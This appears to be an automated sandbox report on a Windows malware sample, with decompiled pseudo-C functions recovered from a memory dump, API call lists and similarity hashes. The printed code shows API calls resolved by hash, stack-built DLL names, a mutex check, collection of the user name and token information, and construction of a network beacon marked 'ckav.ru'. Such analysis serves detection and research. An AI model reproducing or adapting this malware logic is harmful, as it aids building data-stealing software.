0x0040622a
0x00406230
0x00406235
0x00406239
0x0040623b
0x00406244
0x00406249
0x00406249
0x0040624c
0x00406253
0x00406256
0x00406258
0x00406261
0x00406266
0x00406266
0x00406270
0x00406273
0x00406276
0x0040627b
0x0040627e
0x0040628c
0x0040628e
0x00406290
0x00406295
0x0040629a
0x0040629e
0x004062a0
0x004062ac
0x004062af
0x004062b7
0x004062b9
0x004062c9
0x004062e0
0x004062e2
0x004062e4
0x004062f3
0x004062f3
0x004062e4
0x004062f8
0x004062fd
0x004062a0
0x004062fe
0x00406302
0x00406307
0x0040630c
0x0040630d
0x0040630f
0x00406312
0x00406317
0x00406318
0x0040631c
0x0040631e
0x00406321
0x00406326
0x00000000
0x00406327
0x004061f4
0x004061ff
0x00406208
0x00406218
0x0040621d
0x00406224
0x00406226
0x00406228
0x00000000
0x00000000
0x00000000
0x00406228
0x00406201
0x00000000

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,00414449), ref: 004061F4
_wmemset.LIBCMT ref: 00406244
_wmemset.LIBCMT ref: 00406261
GetTokenInformation.KERNELBASE(IDA,00000001,00000000,00000000,?,00000009,ECAE3497,00000000,00000000,00000000), ref: 0040628C

Strings

IDA, xrefs: 00406304
IDA, xrefs: 004061E5, 00406276, 004062AC, 0040621D, 004061E8, 00406220, 0040628B

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _wmemset$ErrorInformationLastToken
String ID: IDA$IDA
API String ID: 487585393-2020647798
Opcode ID: 361f5901e0b8fd221317340a43d44222897358287ed0cab1ee46ebfb6b6b92c4
Instruction ID: 96d4363135ba53d30ed73ccdf96fe48b30064626948d25b168d4296351bbaec2
Opcode Fuzzy Hash: 361f5901e0b8fd221317340a43d44222897358287ed0cab1ee46ebfb6b6b92c4
Instruction Fuzzy Hash: 6641B372900206BAEB10AFE69C46EEF7B7CDF95714F11007FF901B61C1EE799A108668

Uniqueness

Uniqueness Score: -1.00%

Function 00404E17, Relevance: 7.6, APIs: 5, Instructions: 72
networkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00404E17(intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void _v40;
				void* _t23;
				signed int _t24;
				signed int* _t25;
				signed int _t30;
				signed int _t31;
				signed int _t33;
				signed int _t41;
				void* _t42;
				signed int* _t43;

				_v8 = _v8 & 0x00000000;
				_t33 = 8;
				memset( &_v40, 0, _t33 << 2);
				_v32 = 1;
				_t23 =  &_v40;
				_v28 = 6;
				_v36 = 2;
				__imp__getaddrinfo(_a4, _a8, _t23,  &_v8); // executed
				if(_t23 == 0) {
					_t24 = E00402B7C(4);
					_t43 = _t24;
					_t31 = _t30 | 0xffffffff;
					 *_t43 = _t31;
					_t41 = _v8;
					__imp__#23( *((intOrPtr*)(_t41 + 4)),  *((intOrPtr*)(_t41 + 8)),  *((intOrPtr*)(_t41 + 0xc)), _t42, _t30); // executed
					 *_t43 = _t24;
					if(_t24 != _t31) {
						__imp__#4(_t24,  *((intOrPtr*)(_t41 + 0x18)),  *((intOrPtr*)(_t41 + 0x10))); // executed
						if(_t24 == _t31) {
							E00404DE5(_t24,  *_t43);
							 *_t43 = _t31;
						}
						__imp__freeaddrinfo(_v8);
						if( *_t43 != _t31) {
							_t25 = _t43;
							goto L10;
						} else {
							E00402BAB(_t43);
							L8:
							_t25 = 0;
							L10:
							return _t25;
						}
					}
					E00402BAB(_t43);
					__imp__freeaddrinfo(_v8);
					goto L8;
				}
				return 0;
			}

0x00404e1d
0x00404e26
0x00404e2a
0x00404e2f
0x00404e37
0x00404e3a
0x00404e45
0x00404e4f
0x00404e57
0x00404e61
0x00404e66
0x00404e68
0x00404e6c
0x00404e6e
0x00404e7a
0x00404e80
0x00404e84
0x00404e9f
0x00404ea7
0x00404eab
0x00404eb1
0x00404eb1
0x00404eb6
0x00404ebe
0x00404ecb
0x00000000
0x00404ec0
0x00404ec1
0x00404ec7
0x00404ec7
0x00404ecd
0x00000000
0x00404ece
0x00404ebe
0x00404e87
0x00404e90
0x00000000
0x00404e90
0x00000000

APIs

getaddrinfo.WS2_32(00000000,00000001,?,00000000), ref: 00404E4F
socket.WS2_32(?,?,?), ref: 00404E7A
freeaddrinfo.WS2_32(00000000), ref: 00404E90

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: freeaddrinfogetaddrinfosocket
String ID:
API String ID: 2479546573-0
Opcode ID: e22eb4597c528fad89aa2306bbf5fab64752e69decfa66c962aefb5bd8f8ada5
Instruction ID: d63855dbb6a3d3c0c8ebf90f2bb9ce8455fd2b7eef63007fec5ba55d39dacf84
Opcode Fuzzy Hash: e22eb4597c528fad89aa2306bbf5fab64752e69decfa66c962aefb5bd8f8ada5
Instruction Fuzzy Hash: 9621BBB2500109FFCB106FA0ED49ADEBBB5FF88315F20453AF644B11A0C7399A919B98

Uniqueness

Uniqueness Score: -1.00%

Function 004040BB, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E004040BB(void* __eflags, WCHAR* _a4, long* _a8, intOrPtr _a12) {
				struct _SECURITY_ATTRIBUTES* _v8;
				char _v12;
				long _v16;
				void* __ebx;
				void* __edi;
				void* _t16;
				intOrPtr* _t25;
				long* _t28;
				void* _t30;
				int _t32;
				intOrPtr* _t33;
				void* _t35;
				void* _t42;
				intOrPtr _t43;
				long _t44;
				struct _OVERLAPPED* _t46;

				_t46 = 0;
				_t35 = 0;
				E004031E5(0, 0, 0xe9fabb88, 0, 0);
				_t16 = CreateFileW(_a4, 0x80000000, 1, 0, 3, 0x80, 0); // executed
				_t42 = _t16;
				_v8 = _t42;
				if(_t42 == 0xffffffff) {
					__eflags = _a12;
					if(_a12 == 0) {
						L10:
						return _t35;
					}
					_t43 = E00403C90(_t42, L".tmp", 0, 0, 0x1a);
					__eflags = _t43;
					if(_t43 == 0) {
						goto L10;
					}
					_push(0);
					__eflags = E00403C59(_a4, _t43);
					if(__eflags != 0) {
						_v8 = 0;
						_t46 = E004040BB(__eflags, _t43,  &_v8, 0);
						_push(_t43);
						 *_a8 = _v8;
						E00403D44();
					}
					E00402BAB(_t43);
					return _t46;
				}
				_t25 = E004031E5(0, 0, 0xf9435d1e, 0, 0);
				_t44 =  *_t25(_t42,  &_v12);
				if(_v12 != 0 || _t44 > 0x40000000) {
					L8:
					_t45 = _v8;
					goto L9;
				} else {
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 = _t44;
					}
					E004031E5(_t35, _t46, 0xd4ead4e2, _t46, _t46);
					_t30 = VirtualAlloc(_t46, _t44, 0x1000, 4); // executed
					_t35 = _t30;
					if(_t35 == 0) {
						goto L8;
					} else {
						E004031E5(_t35, _t46, 0xcd0c9940, _t46, _t46);
						_t45 = _v8;
						_t32 = ReadFile(_v8, _t35, _t44,  &_v16, _t46); // executed
						if(_t32 == 0) {
							_t33 = E004031E5(_t35, _t46, 0xf53ecacb, _t46, _t46);
							 *_t33(_t35, _t46, 0x8000);
							_t35 = _t46;
						}
						L9:
						E00403C40(_t45); // executed
						goto L10;
					}
				}
			}

0x004040c4
0x004040ce
0x004040d0
0x004040e8
0x004040ea
0x004040ec
0x004040f2
0x0040418d
0x00404190
0x00404184
0x00000000
0x00404184
0x004041a0
0x004041a5
0x004041a7
0x00000000
0x00000000
0x004041a9
0x004041b6
0x004041b8
0x004041be
0x004041cb
0x004041d0
0x004041d1
0x004041d3
0x004041d8
0x004041dc
0x00000000
0x004041e2
0x00404100
0x0040410c
0x00404111
0x0040417a
0x0040417a
0x00000000
0x0040411b
0x0040411b
0x00404120
0x00404122
0x00404122
0x0040412c
0x0040413a
0x0040413c
0x00404140
0x00000000
0x00404142
0x0040414a
0x00404155
0x0040415a
0x0040415e
0x00404168
0x00404174
0x00404176
0x00404176
0x0040417d
0x0040417e
0x00000000
0x00404183
0x00404140

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,00000000,E9FABB88,00000000,00000000,00000000,00000001,00000000), ref: 004040E8
VirtualAlloc.KERNELBASE(00000000,00000000,00001000,00000004,00000000,D4EAD4E2,00000000,00000000), ref: 0040413A
ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,CD0C9940,00000000,00000000), ref: 0040415A

Strings

.tmp, xrefs: 00404196

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$AllocCreateReadVirtual
String ID: .tmp
API String ID: 3585551309-2986845003
Opcode ID: 3c21b548154e04a740e383bdfa5f0ec46f521fe53328019d1d2661260406abab
Instruction ID: b436c3373f33a6751ef3154d9799880e4ac32c23f8ae8b62b11f674aa4b57f97
Opcode Fuzzy Hash: 3c21b548154e04a740e383bdfa5f0ec46f521fe53328019d1d2661260406abab
Instruction Fuzzy Hash: 2C31F87150112477D721AE664C49FDF7E6CDFD67A4F10003AFA08BA2C1DA799B41C2E9

Uniqueness

Uniqueness Score: -1.00%

Function 00413866, Relevance: 4.6, APIs: 3, Instructions: 147
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00413866(void* __eflags) {
				short _v6;
				short _v8;
				short _v10;
				short _v12;
				short _v14;
				short _v16;
				short _v18;
				short _v20;
				short _v22;
				char _v24;
				short _v28;
				short _v30;
				short _v32;
				short _v34;
				short _v36;
				short _v38;
				short _v40;
				short _v42;
				short _v44;
				short _v46;
				char _v48;
				short _v52;
				short _v54;
				short _v56;
				short _v58;
				short _v60;
				short _v62;
				short _v64;
				short _v66;
				short _v68;
				short _v70;
				short _v72;
				short _v74;
				char _v76;
				void* __ebx;
				void* __edi;
				void* _t38;
				short _t43;
				short _t44;
				short _t45;
				short _t46;
				short _t47;
				short _t48;
				short _t50;
				short _t51;
				short _t52;
				short _t54;
				short _t55;
				intOrPtr* _t57;
				intOrPtr* _t59;
				intOrPtr* _t61;
				void* _t63;
				WCHAR* _t65;
				long _t68;
				void* _t75;
				short _t76;
				short _t78;
				short _t83;
				short _t84;
				short _t85;

				E00402C6C(_t38);
				E004031E5(_t75, 0, 0xd1e96fcd, 0, 0);
				SetErrorMode(3); // executed
				_t43 = 0x4f;
				_v76 = _t43;
				_t44 = 0x4c;
				_v74 = _t44;
				_t45 = 0x45;
				_v72 = _t45;
				_t46 = 0x41;
				_v70 = _t46;
				_t47 = 0x55;
				_v68 = _t47;
				_t48 = 0x54;
				_t76 = 0x33;
				_t84 = 0x32;
				_t83 = 0x2e;
				_t78 = 0x64;
				_t85 = 0x6c;
				_v66 = _t48;
				_v52 = 0;
				_t50 = 0x77;
				_v48 = _t50;
				_t51 = 0x73;
				_v46 = _t51;
				_t52 = 0x5f;
				_v42 = _t52;
				_v28 = 0;
				_t54 = 0x6f;
				_v24 = _t54;
				_t55 = 0x65;
				_v20 = _t55;
				_v64 = _t76;
				_v62 = _t84;
				_v60 = _t83;
				_v58 = _t78;
				_v56 = _t85;
				_v54 = _t85;
				_v44 = _t84;
				_v40 = _t76;
				_v38 = _t84;
				_v36 = _t83;
				_v34 = _t78;
				_v32 = _t85;
				_v30 = _t85;
				_v22 = _t85;
				_v18 = _t76;
				_v16 = _t84;
				_v14 = _t83;
				_v12 = _t78;
				_v10 = _t85;
				_v8 = _t85;
				_v6 = 0;
				_t57 = E004031E5(0, 0, 0xe811e8d4, 0, 0);
				 *_t57( &_v76);
				_t59 = E004031E5(0, 0, 0xe811e8d4, 0, 0);
				 *_t59( &_v48);
				_t61 = E004031E5(0, 0, 0xe811e8d4, 0, 0);
				_t81 =  &_v24;
				 *_t61( &_v24); // executed
				_t63 = E00414059(); // executed
				if(_t63 != 0) {
					_t65 = E00413D97(0);
					E004031E5(0, 0, 0xcf167df4, 0, 0);
					CreateMutexW(0, 1, _t65); // executed
					_t68 = GetLastError();
					_t92 = _t68 - 0xb7;
					if(_t68 == 0xb7) {
						E00413B81(0);
						_pop(_t81); // executed
					}
					E00413003(_t92); // executed
					E00412B2E(_t92); // executed
					E00412D31(_t81, _t84); // executed
					E00413B3F();
					E00413B81(0);
					 *0x49fdd0 = 1;
				}
				return 0;
			}

0x0041386f
0x0041387e
0x00413885
0x00413889
0x0041388c
0x00413890
0x00413893
0x00413897
0x0041389a
0x0041389e
0x004138a1
0x004138a5
0x004138a8
0x004138ac
0x004138af
0x004138b2
0x004138b5
0x004138b8
0x004138bb
0x004138bc
0x004138c4
0x004138c8
0x004138cb
0x004138cf
0x004138d2
0x004138d6
0x004138d7
0x004138df
0x004138e3
0x004138e4
0x004138ea
0x004138eb
0x004138f1
0x004138f5
0x004138f9
0x004138fd
0x00413901
0x00413905
0x00413909
0x0041390d
0x00413911
0x00413915
0x00413919
0x0041391d
0x00413921
0x00413925
0x00413929
0x0041392d
0x00413931
0x00413935
0x00413939
0x0041393d
0x00413941
0x00413950
0x00413959
0x0041395f
0x00413968
0x0041396e
0x00413973
0x00413977
0x00413979
0x00413980
0x00413982
0x00413991
0x0041399c
0x0041399e
0x004139a4
0x004139a9
0x004139ac
0x004139b1
0x004139b1
0x004139b2
0x004139b7
0x004139bc
0x004139c1
0x004139c7
0x004139cd
0x004139cd
0x004139db

APIs

SetErrorMode.KERNELBASE(00000003,00000000,D1E96FCD,00000000,00000000,00000000,00000000), ref: 00413885
CreateMutexW.KERNELBASE(00000000,00000001,00000000,00000000,CF167DF4,00000000,00000000), ref: 0041399C
GetLastError.KERNEL32 ref: 0041399E

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Error$CreateLastModeMutex
String ID:
API String ID: 3448925889-0
Opcode ID: 5dd40e4cfd1fe52203b1fe5968f304513c4092ad3980e50a04d496178e49115f
Instruction ID: 7738172b6d33d5602fc402945caed90a0cea100ae195543e4e9fee3f6653e559
Opcode Fuzzy Hash: 5dd40e4cfd1fe52203b1fe5968f304513c4092ad3980e50a04d496178e49115f
Instruction Fuzzy Hash: 11415E61964348A8EB10ABF1AC82EFFA738EF54755F10641FF504F7291E6794A80836E

Uniqueness

Uniqueness Score: -1.00%

Function 004042CF, Relevance: 4.6, APIs: 3, Instructions: 60
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004042CF(void* __ebx, void* __eflags, WCHAR* _a4, void* _a8, long _a12) {
				long _v8;
				void* _t7;
				long _t10;
				void* _t21;
				struct _OVERLAPPED* _t24;

				_t14 = __ebx;
				_t24 = 0;
				_v8 = 0;
				E004031E5(__ebx, 0, 0xe9fabb88, 0, 0);
				_t7 = CreateFileW(_a4, 0xc0000000, 0, 0, 4, 0x80, 0); // executed
				_t21 = _t7;
				if(_t21 != 0xffffffff) {
					E004031E5(__ebx, 0, 0xeebaae5b, 0, 0);
					_t10 = SetFilePointer(_t21, 0, 0, 2); // executed
					if(_t10 != 0xffffffff) {
						E004031E5(_t14, 0, 0xc148f916, 0, 0);
						WriteFile(_t21, _a8, _a12,  &_v8, 0); // executed
						_t24 =  !=  ? 1 : 0;
					}
					E00403C40(_t21); // executed
				}
				return _t24;
			}

0x004042cf
0x004042d5
0x004042df
0x004042e2
0x004042f9
0x004042fb
0x00404300
0x0040430a
0x00404314
0x00404319
0x00404323
0x00404334
0x0040433b
0x0040433b
0x0040433f
0x00404344
0x0040434c

APIs

CreateFileW.KERNELBASE(00000000,C0000000,00000000,00000000,00000004,00000080,00000000,00000000,E9FABB88,00000000,00000000,00000000,00000001,?,?,004146E2), ref: 004042F9
SetFilePointer.KERNELBASE(00000000,00000000,00000000,00000002,00000000,EEBAAE5B,00000000,00000000,?,?,004146E2,00000000,00000000,?,00000000,00000000), ref: 00404314
WriteFile.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,C148F916,00000000,00000000,?,?,004146E2,00000000,00000000,?,00000000), ref: 00404334

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$CreatePointerWrite
String ID:
API String ID: 3672724799-0
Opcode ID: b52d99f42f68723aef5fd834f3fc6c8fdb7b2d5b4e411be9fbae0770ffe78be6
Instruction ID: 60e70a0f6cedc7b52d1efda55ce7422740d02a59a4e71dca7f773cbcdc95941a
Opcode Fuzzy Hash: b52d99f42f68723aef5fd834f3fc6c8fdb7b2d5b4e411be9fbae0770ffe78be6
Instruction Fuzzy Hash: 2F014F315021343AD6356A679C0EEEF6D5DDF8B6B5F10422AFA18B60D0EA755B0181F8

Uniqueness

Uniqueness Score: -1.00%

Function 00412D31, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 178
threadCOMMON

Download Yara Rule

C-Code - Quality: 34%

			E00412D31(void* __ecx, void* __edi) {
				long _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				char _v40;
				void* __ebx;
				intOrPtr* _t10;
				void* _t11;
				void* _t25;
				void* _t26;
				void* _t27;
				void* _t35;
				void* _t53;
				char* _t57;
				void* _t58;
				void* _t61;
				void* _t64;
				void* _t65;
				intOrPtr* _t66;
				void* _t67;
				void* _t68;
				void* _t69;
				void* _t70;
				void* _t71;
				void* _t72;
				void* _t73;

				_t53 = __ecx;
				_t10 =  *0x49fde0;
				_t68 = _t67 - 0x24;
				 *0x49fddc = 0x927c0;
				 *0x49fde4 = 0;
				_t75 = _t10;
				if(_t10 != 0) {
					L16:
					_push(1);
					_t11 = E004141A7(_t80,  *_t10,  *((intOrPtr*)(_t10 + 8))); // executed
					_t61 = _t11;
					_t68 = _t68 + 0xc;
					if(_t61 != 0) {
						E004031E5(0, 0, 0xfcae4162, 0, 0);
						CreateThread(0, 0, E0041289A, _t61, 0,  &_v8); // executed
					}
					L004067C4(0xea60); // executed
					_pop(_t53);
				} else {
					_push(__edi);
					 *0x49fde0 = E004056BF(0x2bc);
					E00413DB7(_t53, _t75,  &_v40);
					_t57 =  &_v24;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					E004058D4( *0x49fde0, 0x12);
					E004058D4( *0x49fde0, 0x28);
					E00405872( *0x49fde0, "ckav.ru", 0, 0);
					_t69 = _t68 + 0x28;
					_t64 = E0040632F();
					_push(0);
					_push(1);
					if(_t64 == 0) {
						_push(0);
						_push( *0x49fde0);
						E00405872();
						_t70 = _t69 + 0x10;
					} else {
						_push(_t64);
						_push( *0x49fde0);
						E00405872();
						E00402BAB(_t64);
						_t70 = _t69 + 0x14;
					}
					_t58 = E00406130(_t57);
					_push(0);
					_push(1);
					_t77 = _t64;
					if(_t64 == 0) {
						_push(0);
						_push( *0x49fde0);
						_t25 = E00405872();
						_t71 = _t70 + 0x10; // executed
					} else {
						_push(_t58);
						_push( *0x49fde0);
						E00405872();
						_t25 = E00402BAB(_t58);
						_t71 = _t70 + 0x14;
					}
					_t26 = E004061C3(_t25, 0, _t77); // executed
					_t65 = _t26;
					_push(0);
					_push(1);
					if(_t65 == 0) {
						_push(0);
						_push( *0x49fde0);
						_t27 = E00405872();
						_t72 = _t71 + 0x10;
					} else {
						_push(_t65);
						_push( *0x49fde0);
						E00405872();
						_t27 = E00402BAB(_t65);
						_t72 = _t71 + 0x14;
					}
					_t66 = E00406189(_t27);
					_t79 = _t66;
					if(_t66 == 0) {
						E00405781( *0x49fde0, 0);
						E00405781( *0x49fde0, 0);
						_t73 = _t72 + 0x10;
					} else {
						E00405781( *0x49fde0,  *_t66);
						E00405781( *0x49fde0,  *((intOrPtr*)(_t66 + 4)));
						E00402BAB(_t66);
						_t73 = _t72 + 0x14;
					}
					E004058D4( *0x49fde0, E004063B2(0, _t53, _t79));
					E004058D4( *0x49fde0, E004060BD(_t79)); // executed
					_t35 = E0040642C(_t79); // executed
					E004058D4( *0x49fde0, _t35);
					E004058D4( *0x49fde0, _v24);
					E004058D4( *0x49fde0, _v20);
					E004058D4( *0x49fde0, _v16);
					E004058D4( *0x49fde0, _v12);
					E00405872( *0x49fde0, E00413D97(0), 1, 0);
					_t68 = _t73 + 0x48;
				}
				_t80 =  *0x49fde4;
				if( *0x49fde4 == 0) {
					_t10 =  *0x49fde0;
					goto L16;
				}
				return E00405695(_t53,  *0x49fde0);
			}

0x00412d31
0x00412d34
0x00412d39
0x00412d3c
0x00412d49
0x00412d50
0x00412d52
0x00412f24
0x00412f24
0x00412f2b
0x00412f30
0x00412f32
0x00412f37
0x00412f41
0x00412f53
0x00412f53
0x00412f5b
0x00412f60
0x00412d58
0x00412d58
0x00412d63
0x00412d6c
0x00412d73
0x00412d7e
0x00412d7f
0x00412d80
0x00412d81
0x00412d82
0x00412d8f
0x00412da1
0x00412da6
0x00412dae
0x00412db0
0x00412db1
0x00412db5
0x00412dce
0x00412dcf
0x00412dd5
0x00412dda
0x00412db7
0x00412db7
0x00412db8
0x00412dbe
0x00412dc4
0x00412dc9
0x00412dc9
0x00412de2
0x00412de4
0x00412de5
0x00412de7
0x00412de9
0x00412e02
0x00412e03
0x00412e09
0x00412e0e
0x00412deb
0x00412deb
0x00412dec
0x00412df2
0x00412df8
0x00412dfd
0x00412dfd
0x00412e11
0x00412e17
0x00412e19
0x00412e1a
0x00412e1e
0x00412e37
0x00412e38
0x00412e3e
0x00412e43
0x00412e20
0x00412e20
0x00412e21
0x00412e27
0x00412e2d
0x00412e32
0x00412e32
0x00412e4b
0x00412e4d
0x00412e4f
0x00412e7e
0x00412e8a
0x00412e8f
0x00412e51
0x00412e59
0x00412e67
0x00412e6d
0x00412e72
0x00412e72
0x00412e9e
0x00412eaf
0x00412eb4
0x00412ec0
0x00412ece
0x00412edc
0x00412eea
0x00412ef8
0x00412f0f
0x00412f14
0x00412f14
0x00412f17
0x00412f1d
0x00412f1f
0x00000000
0x00412f1f
0x00412f74

APIs

CreateThread.KERNELBASE(00000000,00000000,0041289A,00000000,00000000,?,00000000,FCAE4162,00000000,00000000,?,?,?,?,00000001,00000000), ref: 00412F53

Part of subcall function 0040632F: _wmemset.LIBCMT ref: 0040634F

Part of subcall function 00402BAB: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402BB9
Part of subcall function 00402BAB: RtlFreeHeap.NTDLL(00000000), ref: 00402BC0

Strings

ckav.ru, xrefs: 00412D96

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$CreateFreeProcessThread_wmemset
String ID: ckav.ru
API String ID: 2915393847-2696028687
Opcode ID: d166330210f886f258cea0f95f040112802ba461a537879de6ad45a462bfc85e
Instruction ID: 4531c2d42d5f5f74382d08a8027233dc497c0745a20cb628f46216a694decd77
Opcode Fuzzy Hash: d166330210f886f258cea0f95f040112802ba461a537879de6ad45a462bfc85e
Instruction Fuzzy Hash: 7751B7728005047EEA113B62DD4ADEB3669EB2034CB54423BFC06B51B2E67A4D74DBED

Uniqueness

Uniqueness Score: -1.00%

Function 0040632F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040632F() {
				char _v8;
				void* _t4;
				void* _t7;
				void* _t16;

				_t16 = E00402B7C(0x208);
				if(_t16 == 0) {
					L4:
					_t4 = 0;
				} else {
					E0040338C(_t16, 0, 0x104);
					_t1 =  &_v8; // 0x4143e8
					_v8 = 0x208;
					_t7 = E00406069(_t16, _t1); // executed
					if(_t7 == 0) {
						E00402BAB(_t16);
						goto L4;
					} else {
						_t4 = _t16;
					}
				}
				return _t4;
			}

0x00406340
0x00406345
0x00406373
0x00406373
0x00406347
0x0040634f
0x00406354
0x00406357
0x0040635c
0x00406366
0x0040636d
0x00000000
0x00406368
0x00406368
0x00406368
0x00406366
0x0040637a

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

_wmemset.LIBCMT ref: 0040634F

Part of subcall function 00406069: GetUserNameW.ADVAPI32(?,?,00000009,D4449184,00000000,00000000,?,00406361,00000000,CA,00000000,00000000,00000104,00000000,00000032), ref: 00406082

Strings

CA, xrefs: 00406354, 0040635A

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser_wmemset
String ID: CA
API String ID: 2078537776-1052703068
Opcode ID: f2258d9b8330d324457b64b56ec83946477e708dba813dda8b6774b529cb1dca
Instruction ID: fc433e2548431d42ded6bbe1dab57db4bffb986d933035261d01f02eae51e62b
Opcode Fuzzy Hash: f2258d9b8330d324457b64b56ec83946477e708dba813dda8b6774b529cb1dca
Instruction Fuzzy Hash: 0FE09B62A4511477D121A9665C06EAF76AC8F41B64F11017FFC05B62C1E9BC9E1101FD

Uniqueness

Uniqueness Score: -1.00%

Function 00406086, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406086(void* _a4, union _TOKEN_INFORMATION_CLASS _a8, void* _a12, long _a16, DWORD* _a20) {
				int _t7;
				void* _t8;

				E004031E5(_t8, 9, 0xecae3497, 0, 0);
				_t7 = GetTokenInformation(_a4, _a8, _a12, _a16, _a20); // executed
				return _t7;
			}

0x00406094
0x004060a8
0x004060ab

APIs

GetTokenInformation.KERNELBASE(?,00000000,00000001,?,004062B4,00000009,ECAE3497,00000000,00000000,IDA,004062B4,IDA,00000001,00000000,?,?), ref: 004060A8

Strings

IDA, xrefs: 00406086

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InformationToken
String ID: IDA
API String ID: 4114910276-365204570
Opcode ID: 947dba5d192e13df99ca19526492baac9a77df32751a8a878116f3f8cb9ab45e
Instruction ID: 313645685f6ff1854c13b9bf72d10cc52e042395484f5c11e0c3c7a214e99d66
Opcode Fuzzy Hash: 947dba5d192e13df99ca19526492baac9a77df32751a8a878116f3f8cb9ab45e
Instruction Fuzzy Hash: F4D0C93214020DBFEF025EC1DC02F993F2AAB08754F008410BB18280E1D6B39670AB95

Uniqueness

Uniqueness Score: -1.00%

Function 00402C03, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402C03(struct HINSTANCE__* _a4, char _a8) {
				_Unknown_base(*)()* _t5;
				void* _t6;

				E004031E5(_t6, 0, 0xceb18abc, 0, 0);
				_t1 =  &_a8; // 0x403173
				_t5 = GetProcAddress(_a4,  *_t1); // executed
				return _t5;
			}

0x00402c10
0x00402c15
0x00402c1b
0x00402c1e

APIs

GetProcAddress.KERNELBASE(?,s1@,00000000,CEB18ABC,00000000,00000000,?,00403173,?,00000000), ref: 00402C1B

Strings

s1@, xrefs: 00402C15

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc
String ID: s1@
API String ID: 190572456-427247929
Opcode ID: 111d3fe3cf3de278b88478875a5240f52c9cc91b538b26207c7303d9e6a3f6a3
Instruction ID: 1fbf97b0b55819c82851c7ea3a697f1c0796d20c97a22cfecd58a5260392007e
Opcode Fuzzy Hash: 111d3fe3cf3de278b88478875a5240f52c9cc91b538b26207c7303d9e6a3f6a3
Instruction Fuzzy Hash: A5C048B10142087EAE016EE19C05CBB3F5EEA44228B008429BD18E9122EA3ADE2066A4

Uniqueness

Uniqueness Score: -1.00%

Function 00404A52, Relevance: 3.1, APIs: 2, Instructions: 63
registryCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00404A52(void* _a4, char* _a8, char* _a12) {
				void* _v8;
				int _v12;
				void* __ebx;
				char* _t10;
				long _t13;
				char* _t27;

				_push(_t21);
				_t27 = E00402B7C(0x208);
				if(_t27 == 0) {
					L4:
					_t10 = 0;
				} else {
					E00402B4E(_t27, 0, 0x208);
					_v12 = 0x208;
					E004031E5(0, 9, 0xf4b4acdc, 0, 0);
					_t13 = RegOpenKeyExA(_a4, _a8, 0, 0x20119,  &_v8); // executed
					if(_t13 != 0) {
						E00402BAB(_t27);
						goto L4;
					} else {
						E004031E5(0, 9, 0xfe9f661a, 0, 0);
						RegQueryValueExA(_v8, _a12, 0, 0, _t27,  &_v12); // executed
						E00404A39(_v8); // executed
						_t10 = _t27;
					}
				}
				return _t10;
			}

0x00404a56
0x00404a65
0x00404a6a
0x00404ad1
0x00404ad1
0x00404a6c
0x00404a71
0x00404a79
0x00404a85
0x00404a9a
0x00404a9e
0x00404acb
0x00000000
0x00404aa0
0x00404aac
0x00404abc
0x00404ac1
0x00404ac6
0x00404ac6
0x00404a9e
0x00404ad9

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

